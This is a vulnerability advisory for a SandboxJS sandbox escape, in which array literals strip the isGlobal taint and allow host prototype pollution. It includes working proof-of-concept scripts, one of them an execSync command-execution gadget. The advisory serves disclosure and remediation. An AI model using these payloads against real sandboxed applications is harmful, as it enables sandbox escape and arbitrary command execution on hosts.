CVE-2026-25881

### Summary A sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the `isGlobal` protection flag through array literal intermediaries. When a global prototype reference (e.g., `Map.prototype`, `Set.prototype`) is placed into an array and retrieved, the `isGlobal` taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: `execSync(obj.cmd)`). ### Details #### Root Cause: The sandbox implements a protection mechanism using the `isGlobal` flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation. #### Vulnerable Code Path `src/executor.ts`([L559-L571](https://github.com/nyariv/SandboxJS/blob/main/src/executor.ts#L559-L571)): ```ts addOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) => { const items = (b as LispItem[]) .map((item) => { if (item instanceof SpreadArray) { return [...item.item]; } else { return item; } }) .flat() .map((item) => valueOrProp(item, context)); // <- isGlobal flag lost here done(undefined, items); }); ``` #### Exploitation Flow: ```txt Sandboxed code: const m=[Map.prototype][0] ↓ Array creation: isGlobal taint stripped via valueOrProp() ↓ Prototype mutation: m.cmd='id' (host prototype polluted) ↓ Host-side impact: new Map().cmd === 'id' (persistent) ↓ RCE (application-dependent): host code calls execSync(obj.cmd) ``` #### Protection Bypass Location `src/utils.ts`([L380-L385](https://github.com/nyariv/SandboxJS/blob/main/src/utils.ts#L380-L385)): ```ts set(key: string, val: unknown) { // ... if (prop.isGlobal) { // <- This check is bypassed throw new SandboxError(`Cannot override global variable '${key}'`); } (prop.context as any)[prop.prop] = val; return prop; } ``` When the prototype is accessed via array retrieval, the `isGlobal` flag is no longer set, so this protection is never triggered. ### PoC #### Prototype pollution via array intermediary: ```js const Sandbox = require('@nyariv/sandboxjs').default; const sandbox = new Sandbox(); sandbox.compile(` const arr=[Map.prototype]; const p=arr[0]; p.polluted='pwned'; return 'done'; `)().run(); console.log('polluted' in ({}), new Map().polluted); ``` **Observed output**: `false pwned` #### Overwrite `Set.prototype.has`: ```js const Sandbox = require('@nyariv/sandboxjs').default; const sandbox = new Sandbox(); sandbox.compile(` const s=[Set.prototype][0]; s.has=isFinite; return 'done'; `)().run(); console.log('has overwritten:', Set.prototype.has === isFinite); ``` **Observed output**: `has overwritten: true` #### RCE via host gadget (prototype pollution -> execSync): ```js const Sandbox = require('@nyariv/sandboxjs').default; const { execSync } = require('child_process'); const sandbox = new Sandbox(); sandbox.compile(` const m=[Map.prototype][0]; m.cmd='id'; return 'done'; `)().run(); const obj = new Map(); const out = execSync(obj.cmd, { encoding: 'utf8' }).trim(); console.log(out); ``` **Observed output**: `uid=501(user) gid=20(staff) groups=20(staff),...` ### Impact This is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., `Map.prototype`, `Set.prototype`), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing `obj.cmd` to `child_process.execSync`). **Affected Systems**: any application using `@nyariv/sandboxjs` to execute untrusted JavaScript. ### Remediation - Preserve `isGlobal` protection across array/object literal creation (do not unwrap `Prop` into raw values in a way that drops the global/prototype taint). - Add a hard block on writes to built-in prototypes (e.g., `Map.prototype`, `Set.prototype`, etc.) even if they are obtained indirectly through literals. - Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).